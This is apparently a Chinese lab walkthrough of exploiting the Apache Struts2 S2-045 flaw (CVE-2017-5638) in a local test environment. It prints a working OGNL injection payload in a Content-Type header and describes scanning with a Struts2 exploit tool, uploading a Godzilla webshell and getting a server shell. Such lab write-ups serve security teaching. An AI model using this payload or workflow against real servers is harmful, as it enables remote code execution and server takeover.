目录
S2-045 远程代码执行漏洞(CVE-2017-5638)
S2-045 远程代码执行漏洞(CVE-2017-5638)
开启漏洞环境
进入Ubuntu系统下的对应漏洞环境,开启环境

将漏洞环境开启来

查看是否启动成功

启动成功过后,去浏览器进行访问:
通过浏览器去访问该漏洞环境
http://ip:8080

接下来我们尝试去上传文件(随便上传),然后抓取数据包,修改数据包,然后观察响应数据的变化
随便上传一个文件

抓取数据包:
抓取数据包,修改数据包,查看修改后,收到的响应数据
直接发送以下数据包
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('lc',123+123)}.multipart/form-data
发现123+123已经被执行,显示出结果
抓包

发给重发器过后:
修改数据包信息,查看响应

观察发现我们输入的123+123,已经被执行
解析了以后,我们借助第三方工具,来进行生成木马文件,然后进行随意上传文件,进行漏洞检测,然后上传木马文件,获取服务器的shell
工具:哥斯拉、struts2漏洞检测工具
打开哥斯拉,生成木马:

查看木马文件

将随意的文件尝试上传,观察url变化

上传后,观察此url

复制此url,借助第三方工具进行扫描
工具:struts2漏洞扫描工具

查看检查结果,存在漏洞

验证漏洞

远程命令执行

查看根目录下的内容

点击文件上传模块,尝试上传木马文件

查看是否能够上传成功,观察到已经上传成功

strut2漏洞检测以及利用工具地址:
https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927
观察上传访问路径,进行复制,使用第三方工具(哥斯拉)进行连接

通过哥斯拉来进行连接

连接成功,进行添加,进入,成功拿到服务器shell

成功添加

点击进入即可,成功拿到shell

可对文件进行任何操作:

文章不妥之处,欢迎批评指正!
文章详细描述了如何在Ubuntu系统中设置并开启S2-045远程代码执行漏洞环境,通过浏览器访问并上传文件,抓取和修改数据包来触发漏洞。利用Struts2漏洞检测工具和哥斯拉生成并上传木马文件,最终获取服务器的shell,展示了整个漏洞利用过程。
924

被折叠的 条评论
为什么被折叠?



